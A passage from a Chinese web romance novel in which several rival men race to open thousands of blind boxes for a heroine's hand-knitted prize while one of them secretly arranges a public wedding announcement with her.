厉乘川仅是兄弟群的管理员,群最初是梁君赫所建,他和邢葵恋爱后,厉乘川气到想退群,拇指落到退群键上方又顿住。 退了兄弟群,未来兄弟聊关于邢葵的事,他很难第一时间得知。 谁曾想今日成为梁君赫攻击他的武器。 “哦,我想起来了,哥是管理员,踢不了群主我哎。”梁君赫捂嘴笑。 邢葵拍了下他的背,强行叫停战局:“少嘚瑟了,礼炮我很喜欢,但还不快找扫帚把地上扫干净!” 地面到处洒的彩带,梁君赫一滞,气焰顿收:“葵葵,你瞧我这双手,白白嫩嫩,它们不是干粗活的手。” 厉乘川:“我来。” 周镜:“我来。” 许野:“我来。” 江玉鸣饶有兴致地笑:“瞧瞧他们,学着点吧,这么金贵,难怪邢葵父母嫌你脾气大。” 他极为自然地在话语中暗示,仿佛梁君赫和邢葵分手的原因在于脾气。 梁君赫也机警,立刻顺着他的话叉腰:“有点脾气怎么了?谁能没一点脾气!” 周镜:“我脾气好。” 许野:“我绝对听葵葵话。” 厉乘川:“我……”他说不出口。 “呵,你们想扫地你们扫去呗,反正我不扫,走吧,别碍眼。”梁君赫不可一世,“葵葵,我找你是想确认,买到赫拉索隐藏款的人,能向你讨一个愿望是真的吗?” 一时间,要去找笤帚的三人、装成看戏的江玉鸣,乃至缩到墙角的周梨,均竖起耳朵。 邢葵奇怪:“肯定真的呀,赫拉索盲盒系列中藏了一盆我织的向日葵盆栽,抽到它,我将为买主实现一个我能力范围内的愿望。是个营销噱头吧,但我都在网上公布了,不能有假。” 五男神色各异,墙角处,周梨也嘴角弯起,势在必得。 半个小时后,邢葵卸妆完毕,换上寻常着装,拎着礼服袋、抱着奖杯盒打开换衣间的门。 几个男人互相折腾,将彼此和自己都折腾走了,这会儿就她一个人……三个人? 门打开,江玉鸣拎着一个男的站在走廊。 那男的两边脸庞各有一道从眼角流下来的黑痕,邢葵冷不丁撞见心脏都发紧,再细细辨认:“短腿苏苏?” “你认识他啊?跟在梁君赫后头来的,偷拍了我们不少照片。”江玉鸣递给她一只手机。 “那怎么能叫偷拍!天天奇妙历险,你抱梁家大腿抢走我的C位奖,你这叫遭报应!”短腿苏苏大声地喊,唾沫星子肉眼可见。 邢葵闪避。 “我要上网曝光你,和几个男人同时牵扯不清,这样的品行不配得到C位奖。” “你别吵。”邢葵轻轻地道,“会吵到我的耳朵。” 她翻看相册,压根没什么,就是些对峙图、扫地图,她想梁君赫可能也发现了被宵小跟踪,只不过不将其当回事。 今年短腿苏苏的踢腿舞很火,邢葵会定时研究爆款视频,因此认出人,“何来我抢你C位的道理呀,我今年热度比你高,得多。” 江玉鸣在一旁笑了下:“他在盛典前抱了只大腿,想玩黑幕,没成功,就以小人之心揣度你。” 短腿苏苏被揭穿有大腿,急切喷口水否认:“胡说!我是凭我的真本事!” 他又吵,江玉鸣手伸进口袋,取出手机,点了几下:“喂,董其铭。” 扬声器里传来中年男性的声音,音线颤抖,受宠若惊似的:“江、江少爷,您怎么能想起我?” “当然是来问罪的,你的小情人,吵到了我未婚妻耳朵。” 邢葵听到“未婚妻”三个字,捏了下耳垂。 短腿苏苏瞳孔地震,开淮乳业董总,他费尽心血才攀上的存在,眼前的年轻人,竟直呼其名。 而那位高高在上的董总,竟恭恭敬敬地喊对方少爷。 “哪个小情人?”董总哆哆嗦嗦地问。 “叫短腿苏苏的那个。” “啊呀,江少爷,误会,大误会啊!他一个男的,我只喜好女的啊。” “他在旁边。”江玉鸣冷笑,懒得戳破这些腌臜人。 一听到他的话,董总立马对短腿苏苏大呵:“混账东西!在外面污我名声,以后别再给我打电话!” 短腿苏苏向后跌,他好不容易攀到的大腿,还想借其飞黄腾达,就这么没了。 “江少爷,回头我请——” 江玉鸣不给面子地挂了电话:“继续说,你的真本事在哪里?” 他可受不了,这种鼠辈向邢葵叫嚣。 短腿苏苏破防,伸手指:“她不也是靠大腿吗?你凭什么赢过我?就因为你是女人吗?你们女人总是更方便贩卖身体!” 邢葵眉梢一拧:“停,你感谢一下如今是法治社会吧,我打你会被 请喝茶,哦对,造谣也会被请喝茶吧?要不我送你进去?” 短腿苏苏呆了呆:“你,你没证据!” 邢葵取出她的手机,平静展示屏幕上的录音:“我有录音的好习惯。” 靠!几句话坐不了牢,却能毁掉他的事业,比失去大腿还恐怖!短腿苏苏摔到走廊墙壁,想生气不敢生,满脸恐惧。 邢葵删照片。 “我有一个想法。”江玉鸣温暖的手揽住她的腰,笑盈盈,他将短腿苏苏送到邢葵面前,可不仅仅是要教训他。 毕竟,教训他的事,江玉鸣私下就能完成。 “什么想法?”邢葵不明所以。 江玉鸣期待地看着她,神采艳丽不可方物:“我们让他拍一张照片吧,让他发给记者,借此公开。” 此前邢葵就跟他说过,差不多能公开了,他正好利用这件事,他迫不及待想见到兄弟们的表情。 周镜、许野、梁君赫、厉乘川,他想看他们每个人的脸像打翻的调色盘。 邢葵瞪瞪快要兴奋的江玉鸣,也觉得他的主意可行:“好吧。” 江玉鸣偏脸:“还不过来拍。” 短腿苏苏:“?”你们未婚夫妻魔鬼吧你们!“来了来了。”他赔笑。 “让我想想拍什么。”江玉鸣沉思,艳色的唇瓣微张。 邢葵一把捂住他的嘴:“不准拍接吻!我不好意思!” 掌心,柔软的唇两边嘴角上拉,往她掌肉落了一个啄,江玉鸣握住她的手腕,拉下,俯身,额头贴到她的额头。 “这样就好,我的好孩子,我的小葵花,我的葵葵。” 短腿苏苏拍照片:靠,莫名其妙被塞了一嘴口粮。 楼下,江玉鸣送邢葵上车,吴佑嘉蹲在驾驶座,一见邢葵有伴,赶紧戴上耳机,两耳不闻老师事。 江玉鸣本想和邢葵一同回去,但收到了厉乘川消息:“厉乘川让我去他家一趟。” 邢葵闻言纠结了下,好心道:“你别太欺负他了,人厉乘川人挺好的。” 她不找他们算账,不代表她知晓失忆后,反应不过来过去背着她发生的事。 几个兄弟对她,动不动灌输要远离厉乘川的概念,说什么,厉乘川洁癖到,跟他讲话都要往嘴里先喷两下75%浓度的酒精。 恐怕对厉乘川,更是百般蒙骗。 厉总不天真更不愚蠢,是真相信兄弟情才能屡屡被骗,适可而止啊。 江玉鸣眯了眯眸子:“好,葵葵嘱咐,一定办到。” 谁欺负厉乘川了?他从来没欺负过啊,撬墙角能叫欺负吗? 厉家主宅,别墅不染尘埃的地板上,铺叠着一只只色彩斑斓的纸盒,数以万计,纸盒外包装上写着“赫拉索”的字样。 晚间十点,江玉鸣走进去,别墅内没有佣人,一身黑的厉乘川正坐在盒子中央,拿着美工刀,一盒一盒地拆。 他抛给江玉鸣一只美工刀:“帮我拆一下,别人拆我不放心。” 第106章 江玉鸣接住美工刀,厉乘川喜好黑色,美工刀也是黑色。 黑色低调,显得人稳重,厉乘川恐怕这辈子,都没坐在这么多彩色中过。 “嚯,老厉,这是买了一万份吧?” 一只又一只的赫拉索方盒,铺延整栋别墅,厉乘川放在厉家主宅拆,因为租的房子放不下。 “看来你对赫拉索隐藏款势在必得,想向邢葵许什么愿啊?” “没想好,只是不能让别人得到许愿机会,况且那是邢葵亲手织的。” 他拆着盲盒,别墅内不止一万份,具体多少份厉乘川也不清楚,上个月末吩咐陈泉抢购时,能抢多少就多少。 怕别人毛手毛脚,从收到货起他就一个人在拆,“我需要一位帮手。” 江玉鸣就地坐下,和厉乘川一同,坐进五颜六色的海洋中:“我倒是能帮你,但我猜测梁君赫他们今晚匆匆离开化妆间,估计每个人也买了很多赶回去拆了,你未必买得到啊。” “你拆就是,何必要刺我一句?”大手拆开一只盒子,厉乘川望过来,眼神犀利,“我当真能信任你吗?江玉鸣。” 两人,一白,一黑。 看似共处同一片空间,却在彩色纸盒分隔中泾渭分明。 化妆间江玉鸣的出现,过于巧合,即使能解释还是让厉乘川如鲠在喉,他叫江玉鸣来,是有意试探。 咔哒,江玉鸣推开美工刀的刀刃,装听不懂:“激将法是吧?行,我拆。” 厉乘川眼神审视,江玉鸣却坦坦荡荡,甚至就近拿起一只纸盒开拆。难道真是他多想了? 他或许,真不该怀疑兄弟。 信任兄弟的内心飘荡一股罪恶感,周镜觊觎他心上人,许野觊觎他心上人,梁君赫觊觎他心上人,总不能连江玉鸣也觊觎。 江玉鸣唯爱超模,唯爱超模。 厉乘川叹了声:“抱歉。” 江玉鸣大度:“嗯,我原谅你。” 他打开手头的盒子,里头是一只白色的赫拉索,穿着蓝色小裙子,裙面洒着些小雪花,是赫拉索四季主题的冬款。 幸好不是隐藏款。 江玉鸣压下嘴角偷笑,放到一边,又拿起一只新盒子。 隐藏款是一件向日葵盆栽,为邢葵一针一针亲手所织,就算不涉及愿望,也没兄弟不想要。 说不准在他手里,江玉鸣拆着厉乘川的盒子,心想,他也买到几千盒,老宅陈妈他们在拆。 数量上不及厉乘川买的,但抽盲盒就像抽卡,极看运气,买上万盒抽上万次都可能一场空,欧皇买一盒都能中。 据他所知,梁君赫、许野,也都买到上千上万盒,梁宅许宅也都在拆。 唯独周镜那边情况不明。 周镜坐在沙发上,睫毛低垂,一只手抬着的赫拉索盲盒,正方体,以黑色为底色,四面多种彩绘。 他仅仅买了一只,论财力他远不及厉乘川,钱留给邢葵花比较实在。 邢葵说过,隐藏款已经售出,只是买主没在网上发帖也没联系她,真有可能就在他们兄弟手中,因为这样那样的原因,他们还没拆。 谁知道呢,兴许就在他买的这盒里? 周镜伸指去拆。 “怎么又不是!”梁父往后一仰,靠到沙发旁边,扔掉手里的绿色花瓣赫拉索娃娃,转转酸痛的脖颈。 “转什么转,赶紧再拆啊。”梁君赫坐在一堆五彩斑斓的娃娃里,催促。 “你什么臭脾气,我是你爸!” “呵。”梁君赫目中无爸,“我可提醒你,得到隐藏款的人能向邢葵许愿,你说不定能向她许个‘做你儿媳妇’的愿望,你想输给江叔叔?” 这种愿望邢葵肯定不能答应,梁君赫就是故意刺激他爸。 梁父被刺激到,肩背打开,腰杆挺直,拔刀投入战争。 买了六千六百六十六个,也许隐藏款就藏在第六千六百六十六个! “六……还差一个七色花系列就齐了。”谢成雯在客厅里数佣人拆出来的娃娃,“我们葵搞的这个还怪有意思的。” 佣人和她关系好,笑呵呵:“是的哩,我孙女买了一只挂书包上,可喜欢了。” “哈哈,你们有喜欢的尽管拿走。” 纸盒包围中,许野默默地拆,闻言抬起俊脸:“金诺言能跟她谈个联名吗?” 谢成雯瞄瞄儿子,连眉梢都笑起来:“行!互惠互利。” 许野露出笑:“谢谢妈,妈去休息吧,这里我来就好。” 许什么愿可以日后再想,谁想将能向邢葵许愿的机会让给别人,何况那还是她亲自做的! 江宅也在热火朝天地拆盲盒,江宅的少爷则在厉宅不情不愿地帮拆。 四季主题、七色花主题,集齐一套又一套,就是不见隐藏款的影儿,厉乘川紧抿着唇,周围空气像来自北极,江玉鸣容光焕发,伸伸懒腰犹如身处春季。 “叔叔阿姨环球旅游还没回来?”江玉鸣心情好,非要找心情坏的厉乘川聊天。 他嗓音沉闷:“嗯,他们说,我什么时候结婚他们才会回来。” 江玉鸣若有所思,取出盒子里的橙色赫拉索,指腹碾上一枚花瓣:“以前你不会是凭这点,才和邢葵达成交易的吧?” 厉乘川拆盲盒:“我爸妈说过,等我成家,才会将董事会的位置让给我,她以为,我们各取所需。” 事实上,厉乘川父母就是单纯地爱开玩笑,两个老顽童而已。 江玉鸣又集齐一套七色花主题,眼睛都笑成细缝:“啊哈,老厉,好酒还得配下酒菜,我拆盲盒,你给我讲讲你跟邢葵的故事让我乐一乐。” 厉乘川睨他:“你拿我的故事当下酒菜?” 江玉鸣笑盈盈:“不行吗?” 厉乘川冷声反问:“你说呢?” 话落后,他陷入安静,沉默地拆了好几个盲盒,发丝在额头皮肤投出灰黑色的阴影,“没意义了,她 不记得,有很多事,失忆前的她都不清楚。” 江玉鸣挑眉,他就是知道没意义才让厉乘川讲。有意义的话,他听岂不扎他的心? 没意义好啊,扎的是厉乘川的心。 来之前,邢葵特意叮嘱江玉鸣,别太欺负厉乘川,厉乘川人挺好的。 人、挺、好、的。 江玉鸣指尖掐了掐手上的黑色款赫拉索,提起美工刀,按耐下将它分尸的浓烈渴望,落到另一只盲盒封口。 厉乘川没察觉到来自好友阴暗的妒意,过往那些失去意义的事将他席卷,漆黑如黑曜石的眸子像混乱星系中的浮石。 夜空昏暗,厉乘川初见邢葵那天是个与今夜相反的灿烂晴天,地点,不在公司,在京江大学。 他去帮父亲找在京江大任职的老友,途中路过一片小树林,听到一个女生带着哭音说:“妈,什么女生学历高不好找对象,那是男生次啊。” 她好像挨了骂。 “我想读研读博,妈。” “你一定要我放弃吗?” “好。” 女大学生蹲在墙角抱着膝盖哭,厉乘川仅瞧了一眼就走过去,那时的他,不了解邢葵家境,只觉得简单就放弃读研愚蠢。 然而,不全面了解一个人,就简单评判一个人的选择,才更愚蠢。 后来他又遇到她。 “教授不用再劝了,我下定决心了,我想尽早飞出去。” 年轻的女孩从教授的办公室里出来,抓住走廊的栏杆,对着太阳仰起脸呼吸新鲜空气。 莫名地,厉乘川眼里,阳光像是流淌在她身上。 他不明白,一个十几分钟前还在墙边小声哭泣的人,怎么能这么快有翻天覆地的变化。 好奇,让厉乘川问了问吴教授,从教授那里得知,她放弃的不止是读研,更是已经拿到资格的保研。 此后的日子中,厉乘川工作结束时、喝咖啡时,偶尔会想,那个女生究竟经历了什么,又是怎样的心态,才能说出“她想尽早飞出去”。 但仅限于此,倘若不是邢葵向鼎天投了简历的话。 厉乘川于是偶尔关注她。 偶尔会想、偶尔关注,一次又一次“偶尔”,让厉乘川的人生慢慢走进完整的邢葵。 他越来越了解她,等他意识到他喜欢她时,他已经暗恋她几年了。 邢葵仅仅学士学历,对鼎天来说并不够格,厉乘川能给她开后门,可她有能力不用靠后门。 她升职来到他身边,按照正常流程,厉乘川在她攒了几年经验后,向她提出更改合同,接入提成制。 假如他们契约结婚成功,可能他们会有完全不一样的故事。 可一场车祸,抹去了“他们”。 厉乘川抓出盒子里的黄色赫拉索娃娃,他不喜欢跳脱的彩色,但他办公室桌上的咖啡杯却是黄色的。 因为是邢葵的,她和鼎天解除合同后,没来收拾工位。 他替她收拾了,鸡蛋黄的U型午睡枕、写着“我爱打工才怪”的淡黄色鼠标垫、玉米形状的解压捏捏乐…… 这些如今都在他的办公室,厉乘川看着赫拉索娃娃笑了下:“我今晚找邢葵,本来是想问她,还能不能考虑下和我契约结婚。” 霎时,江玉鸣挂在嘴角的笑意僵住。 “她忘记了我,以前我会担心,她会不会是厌恶我,才会忘记我,我想得到她的喜欢,才一直没向她提她曾经向我提的解决方法。 现在想想,或许是我在舍近求远。另一方面,周镜、许野、梁君赫,他们和她恋爱全部失败,或许假结婚才能给她带来新出路。” 江玉鸣巧舌如簧,此刻却有点难以应对,他的脑子里响彻一句话—— 厉乘川也nextlevel了。 “邢葵得知我的心意后,不习惯跟我讲话,今日化妆间我和她讲话的机会错过,如果我能买到赫拉索隐藏款,倒是能借它和邢葵说上话。” “噗。”江玉鸣笑出来,点点头,伸出大拇指,“好主意。” 幸好,厉乘川迂回,讲个话还要找机会,但凡他赶在化妆间跟邢葵讲了,邢葵真有可能要考虑一下换人。 毕竟厉乘川比江玉鸣更可控。 “希望命运眷顾我。”厉乘川一个不信鬼神的人,在拆赫拉索盲盒时也发出了如此感慨。 希望命运狠狠欺负他,眷顾姓江的才是,江玉鸣在心里偷偷地念,嘴上笑嘻嘻:“那我可要拆快一些了!” 他随手拿起脚边一只盲盒。 同一时刻,周镜、梁君赫、许野、江家陈妈,也全都在拆。 锋利的美工刀扎进盒子四边缝隙,划开封口贴纸,盒盖掀开,众人心心念的向日葵盆栽暴露在灯光下。 江玉鸣漫不经心地取,刚准备扔到一边,手顿住。 触感不像毛绒玩具,略微扎手,有纹路,像针织。 他低眸一瞧,灯光中的针织向日葵可爱生动,伸展着黄灿灿的花瓣,就连花盆都是针织,盆身还织了笑脸。 命运,还真眷顾厉乘川。 江玉鸣压下嘴角要溢出的冷意,勾魂地笑起来,抬起向日葵盆栽:“喂,老厉,这个是不是?” 厉乘川僵了僵,抬头,似不可置信,随即一跃窜起,因为太过突然,眩晕感让他差点摔倒。 他都没扶头,径直冲来,一把攥住向日葵盆栽中间:“嘶——” 厉乘川摊开手掌,江玉鸣手上不止拿着盆栽,还拿着打开的美工刀。 鲜血从厉乘川掌心流出,江玉鸣“呀”了声,批评:“你也太不小心了。” 真是他不小心吗?厉乘川来不及细想,也顾不及疼痛,只怕血液弄脏邢葵亲手做的宝贝。 换成另一只手接过,厉乘川真切地攥住向日葵,黑如墨的眸子里破天荒地漾开笑意。 江玉鸣只想把刀往他眼球上扎。 “不就一个盆栽嘛,别跟没见过好东西似的,外面到处都有得卖。” 江玉鸣用语言作刀,但厉乘川此时就像周身添加防御值一千万点的护盾,一点让他不满的声音都听不见。 “就一个寻常物件,除了你和周镜他们,谁稀罕。” 江玉鸣牙酸到要去挂牙科,压制着妒忌外露,将厉乘川手里的宝贝看了又看。 回头他要让邢葵也给他织一个!织一百个! 他撑腿站起身,故作从容,拍拍大衣上不存在的灰尘,“行了,你记得处理伤口,我就先走了。” 走了几步,江玉鸣转过来,“你就不送送我?” 厉乘川盯着盆栽,向来冷戾的眼神柔软,唇线更不自觉地弯翘些许。 江玉鸣内心拧成麻花,忽而也翘起嘴唇:“不过你说得对,结婚真是个妙招,我等着看好戏哦。” 命运眷顾你,人不眷顾你啊,我的好兄弟。 爆料照片已经安排,想必明天早上,厉乘川就能看到,邢葵和江玉鸣要结婚的官宣。 第107章 “短腿苏苏我处理好了,没留下把柄。嗯,对。好,辛苦兰姐,晚安。” 邢葵走进家门,按亮玄关的灯,和梁君赫分手后,她搬回了厉乘川租给她的房子。 墙壁上的极简风挂钟时针指向十二,她刚从庆功宴上回来,在宴上同时安排好了官宣事宜。 夜半十二点,邢葵期待着这件事,一点都不困,精神澎湃到能打十套军体拳。 又是一通电话打来,她高高兴兴地接通:“喂,周梨。” 炸耳的哭声倏地穿透扬声器:“哇——!!!” 邢葵唰地伸远手机,虚捂住耳,周梨哭得撼天动地,说话更毫无伦次,只能听见一些“赫拉索”、“没有”之类的词。 “你没买到赫拉索隐藏款?”邢葵猜测。 “哇——我都想好了,要许愿和你做一辈子好姐妹——哇——” 她泣不成声,邢葵抓抓头,安慰:“这个不用许愿啦,你那么黏人,我想甩都甩不掉。” 这时,江玉鸣开门进来,右手拎着一只纸袋,邢葵食指抵到唇中央,对他“嘘”了一声。 “不是这个原因,是 仪式感!”电话里,周梨喊道,她正坐在某个会所,数不清的男模刚拆完她买的盲盒,正在收拾,“我要仪式感!哪个天杀的买到了,我诅咒他一辈子进会所点不到模特!” 一旁,江玉鸣喉间溢出极轻的嗤笑,捏住邢葵小拇指,仿佛摸的是她的腿,指尾指头来回地摩。 “我还要诅咒他——” 邢葵瞪了下摸手指都能摸得很涩的江玉鸣,打断道:“好了,人家买到也不是犯罪,积点口德。” 周梨立刻止声,变得乖乖的:“听你的,都听你的。” 电话结束,邢葵要抽回被江玉鸣抓着的手,他却一把拽过她。 热气落到她的额心,往下移:“我觉得周梨诅咒得不够精准,应当诅咒得到隐藏款的人,生生世世见都见不到你。” 邢葵警觉,在他要亲上来前掐住他的嘴,脖子向后仰了一下:“谁买到了?” 江玉鸣眼里毫不掩饰的妒,邢葵松了下手,让他得以吐出憎恨着的姓名:“厉乘川。” 邢葵愣了一下,旋即惊讶:“哇,他运气真好!” 才不是,一定是因为他买得最多,江玉鸣暗戳戳地想。 邢葵放轻松地笑:“那你诅咒他干嘛,他买到不挺好的,是他的话,应该不会向我提奇奇怪怪的愿望。” “好吗?”江玉鸣提问,尾音让人想起沾了血的玫瑰,怪渗人的,“我都没有,那是你亲手做的。” 邢葵后颈发凉,啧了声,摇摇头:“我说,你怎么不想想你亲过我多少次,你得到的比他多多了呀。” 江玉鸣脸上漫出笑,拇指按住她的小拇指中间骨头,眼神像勾人的小钩子:“那我不管哦,他有的,我也要有。” 邢葵吐槽:“你耍无赖是吧。” 江玉鸣从容,提起他进门时拎的袋子:“材料我都买齐了,葵葵为我织个玫瑰花盆栽吧。” 目光投向那个纸袋,邢葵失声数秒,开口:“不要!” “就织一朵。”江玉鸣轻轻地道,伸高一根手指,白皙艳逸的脸低着,边引诱边乞求。 “不要!”邢葵脸都撇过去,下一秒,他的脸贴过来,狭长的眼氤氲水汽,睫毛低垂着,如承受着泼天心痛。 “就织一小朵。”喑哑的声音也低下来,沐了水似的,加倍蛊惑。 “不。”邢葵咽咽口水,想到织向日葵盆栽的时刻,“做这个挺麻烦的,织一次是奇妙历险,织两次你要我的命。” “那你要我的命吧。”江玉鸣唇角弯起狡黠的弧度,“转我三百,就当材料是你帮我买的,我自己织。” 那还不错,欸?邢葵去翻江玉鸣手中的袋子,只见里头红线白线绿线,每种颜色数团,难怪要三百! “你这是要织个花圃吧。”嘴角被江玉鸣亲住。 “葵葵答应我了。”江玉鸣手按上她的腰,唇要吻上她的唇瓣,“当然得织多些、织大些,才好让厉乘川无地自容,他也想和你假结婚,他也配。” 邢葵霎时将手横到他俩唇中间:“你说厉乘川的愿望,是和我重新假结婚?” 不是,厉乘川没想许愿假结婚,仅仅想借向日葵盆栽开话茬。 但江玉鸣显然不会替他解释。 幸好,邢葵没觉得许愿这点不妥,“可惜了,他来晚了呀。”她喃喃自语,语气中流露不遮掩的遗憾。 “邢、葵。”江玉鸣眼眸一眯,按在她腰上的力道加重,脸上仍挂着笑意,只是那笑意像悬崖边上的风,凉飕飕的。 邢葵捏捏耳朵:“别喊嘛,你又烧又渗人,我会觉得厉乘川更像靠谱的合作伙伴,也是正常的!正常的!” 江玉鸣唇往上弯,先没回答,腿抬起来,往她的方向走,直至将她逼到墙边,凑到她耳边。 “厉乘川那种不解风情的家伙,哪有我懂让你爽。”他红唇张张合合。 邢葵眼睛都瞪大了。 但俗话说得好,想做什么,上天就不让做什么。 江玉鸣刚醋意翻涌地要亲她,邢葵就收到一通电话。 都知道她今晚有庆功宴,睡得晚,来电的是许野,他听上去心情低迷:“葵葵,我没买到你织的向日葵盆栽。” 晚上谢成雯给邢葵发过消息,说许野建议金诺言和她联名,设计一套蛋糕主题赫拉索。 她打心里感谢许野助力她的事业,就算没这事,凭她和许野的关系,她也会出言宽慰。 嘴刚张开,邢葵抬手,堵住江玉鸣要作乱的嘴,他受了委屈一般,一根一根地勾她手指。 “没关系的,许野,你有需要我帮忙的,尽管提。”她说了几句安慰,最后道,“别让情绪影响到睡眠,好好睡觉。” 许野听她的话,乖巧地回复她“晚安”,结束电话。 屏幕上的挂断标志甫一出现,江玉鸣就拂下她的手:“该我了。” 不该你,邢葵举起再次接到来电的手机,是来自周镜的微信语音聊天。 赫拉索隐藏款在厉乘川手里,那周镜也没拆到隐藏款吧。 她接通,直入话题:“喂,周律师,没买到隐藏款别伤心,有什么愿望直接向我许。” 指尖忽地被尖利之物刺了刺,江玉鸣咬上她的食指,撩起眼皮看她,松嘴,无声道:“许野周镜都能许愿,为什么你没这样对我说?” 你都即将上位了!邢葵抽手,周律师不是旁人,容易发觉她这边异样。 江玉鸣没多用力,已经定好凌晨三点爆料、早上七点官宣,他再几个小时就能拿到未婚夫身份,可不希望出任何岔子。 那厢,流水清洗着手,周镜听到邢葵的话,敏锐地意识到:“你知道隐藏款被谁买到了?” 周镜是真不好糊弄,邢葵最好别撒谎:“反正不在江医生和许野手中,他们刚刚都跟我说,他们没买到。” “那有可能是厉乘川和梁君赫买到了。”周镜擦手,“倘若他俩向你提不合理的愿望,来找我,我帮你处理。” “我帮你处理”,江玉鸣在边上重复,这么爱唱白脸干脆倒桶油漆把眼睛和嘴都刷白吧。 他的嘴巴比周镜红,接吻时好看,江玉鸣见邢葵挂了电话,再一次凑近,将她困在墙边,眼尾弯成弧。 梁君赫的来电,让他满脸的笑意都凝固住。 “喂,葵葵!谁老给你打电话,我打了几通都打不进来!谁!是谁抢了我的向日葵盆栽!” 众所周知,梁君赫是个话痨,他的电话,没半小时都见不到结束的苗头。 江玉鸣攥住邢葵手腕,做口型:“让他去吃褪黑素。” 邢葵:“……”为什么,这句话听着很像“让他去死”。 梁君赫还在叨:“不管是谁拿到向日葵盆栽,都不重要,一个盆栽而已,我压根不想要! 我打电话,是来提醒你,盆栽如果是周哥或者江哥拿到了,无论他俩向你提什么,你都别点头。 这俩都是心机男,也就手段上有区别,实际上全是阴间人,葵葵,你个阳间的,可不能跟他们混啊!” 正混着呢。江玉鸣面向她微笑,邢葵恍惚瞅见他背后有许许多多只黑色恶魂张牙舞爪。 不能再让梁君赫说下去,邢葵用“晚睡伤皮肤”令梁君赫火速去睡觉。 她讪笑着,将手机扔进抽屉,江玉鸣也在笑,手指落到她头发,缠绕她的发丝,嗓音黏稠,好比含着某种阴间蛇类的毒液。 “从回来起,我就碰到一下你的嘴角,还没真亲到呢。” 邢葵听完,张张嘴,反问:“你管亲嘴角不叫亲?” 他低头:“我对亲有我的理解。” 今夜江玉鸣有些许不顺,先是替厉乘川拆到了他想要的向日葵盆栽,再是想亲邢葵被连续阻碍。 他一定要亲到。 亲重、亲深、亲久,亲到坐实他的未婚夫地位。 江玉鸣漫着玫瑰香的呼吸向邢葵的唇飘来,和他接吻,如同亲了一颗掉进沙漠的玫瑰软糖,让人感觉烫,又忘记烫。 厉宅,一片与邢葵家截然相反的冷沉黑暗。 客厅的百叶窗 拉上,向日葵盆栽放在桌角,厉乘川坐在桌旁,手上被美工刀刺开的伤口已经凝血。 但刺痛感,迟到地降临。 不对劲,厉乘川觉得,江玉鸣有点古怪,不止一点。 为什么江玉鸣向他递盆栽时,同一只手恰好还拿着美工刀。 他是位医生,并且是位医术精湛、常年都在手术台提刀的医生,为什么偏偏在递盆栽的那一刻,犯递刀伤人的低级错误。 “你说得对,结婚真是个妙招,我等着看好戏哦。” 这是江玉鸣离开时说的话,假如另有其意,假如另有其意…… 清晨的阳光穿过百叶窗缝隙,厉乘川仍是昨夜的坐姿。 阳光在他轮廓分明的脸庞洒下一道痕,厉乘川坐了整整一夜,将江玉鸣关于邢葵的事一件一件回想,一遍一遍搜寻是否有忽视的细节。 没有,偶尔过巧,但巧合不能当成证据。 厉江两家是从清朝传下的交情,两家小孩自小就清楚彼此将是同根生的盟友。厉乘川自小就和江玉鸣为友。 桌角,邢葵亲手织就的向日葵盆栽,每一片花瓣沐浴着稀疏但灿黄的光芒,栩栩如生,惹人神往。 然而,盆栽只有一个,人也只有一个。 厉乘川眼底积着红血丝,未结痂的手拿起手机,不想再胡思乱想,想让江玉鸣消除他的猜疑。 一条消息点亮屏幕:【我要和你失忆的未婚妻结婚了。】 再一条消息紧接其后:【要给我当伴郎吗?我的好兄弟。】 第108章 终于,落实了。 年末冬至,网络红人C位盛典召开,天天奇妙历险获最终大奖“年度C位艺人”。 翌日,凌晨三点,知名营销号爆出后台照片,天天奇妙历险与一陌生男性贴头亲昵。 夜猫子纷纷讨论,猜是她账号上提过的医生男、律师男还是总裁男,也有一些恶意猜测。 早晨七点,天天奇妙历险微博更新:【我将和这个男人办场婚礼。】 【哇趣!!!!!!!!!!】 邢葵给第一条评论的网友点了个赞,并数了数感叹号,足足十个。 “可能会出现奇怪的言论,你父亲那边不会受到影响吧?你干什么呢?” 邢葵挪到床边,脚寻找拖鞋,一边说话一边看见江玉鸣靠在门边,似也在发消息,深红色的睡衣领口微敞,露出白玫瑰般的锁骨,唇角勾着和形象一样艳丽的笑意。 得意、快意,就像刚打赢一场仗,这是在联系谁呢。 “放心吧。”江玉鸣投来视线,眉眼尽是迷人的笑,“我父亲从前也是临床医师,很清楚世人不同,总有人恶言恶语,过去他开贵的药,还有患者骂他是要拿回扣坑钱。” 邢葵点头。 “不过,这不意味他能推己及人,兴许他会迁怒你。” “喂!真的吗?”邢葵被吓到,急忙问。 江玉鸣勾唇:“假的,我父亲沉迷于和梁君赫父亲竞争,这些事不会在意。” 邢葵缓气:“吓我。” 好看的手捏着手机,江玉鸣慵懒地喟叹一声:“要是这世上人都能推己及人就好了。” 邢葵想到她账号收到的恶评,跟着感叹:“是啊,如果大家都能换位思考——” “这样全世界就会懂我现在有多爽。” “?”以为他在正经结果又是在烧是吧。 刚刚是在和谁发消息,江玉鸣这会儿神采奕奕,活像敷了一张弹润提亮发光面膜。 他过来,手穿过她的掌心,拉她离开床:“洗漱吃早饭,今天有很多事要做。” 邢葵肯定得接来自她家人的电话,江玉鸣则要向他的兄弟展示他的胜利。 官宣微博刚发,其他人收到消息需要时间,厉乘川不同,他“有幸”得到江玉鸣特别“关照”。 【我要和你失忆的未婚妻结婚了。】 【要给我当伴郎吗?我的好兄弟。】 倒映信息的黑眸里显露一些茫然,厉乘川纵横商场多年,面对资产几十亿的波动,都没如此发怔过。 他机械地去点邢葵账号,小红书、某抖……直到点进微博,看到官宣。 江玉鸣说,结婚真是个妙招,他等着看好戏。 意思是:江玉鸣要和邢葵结婚,他等着看他好戏。 数分钟后,厉乘川骤然失控站起,手捏成拳放在手机两旁,椅子脚在地面划出刺耳声响。 很好,他追老婆,但他兄弟趁虚而入了,一个又一个。 好得很!江!玉!鸣! 桌面上,厉乘川宽大的两手攥得极紧,五指死死向内扣入,接连不断地抖。 没有犹豫,戾气森森的眸盯着黢黑的桌子,厉乘川打起电话,点屏幕的手重到像在锤。 “你昨晚还在跟我装不是。” 江玉鸣这时也坐在桌旁,邢葵家的家具由厉乘川购置,桌子也是同款黑色,却铺着黄白格纹桌布,明亮清新。 厉乘川丝毫不明亮清新,他像被困在核桃壳内部,声音像被卡在壳里的核桃肉,一点一点挤出来。 江玉鸣则畅快呼吸,一只手随意支着下颌,红唇吐字:“我演得很爽。” 厉乘川攥紧拳头,连俊美的脸颊都气到颤抖。 他不用问江玉鸣什么时候开始喜欢邢葵的,答案一定是“早就”。 “你昨天,有几个小时时间能向我坦白。” “好兄弟,你现在知道我更爽。” 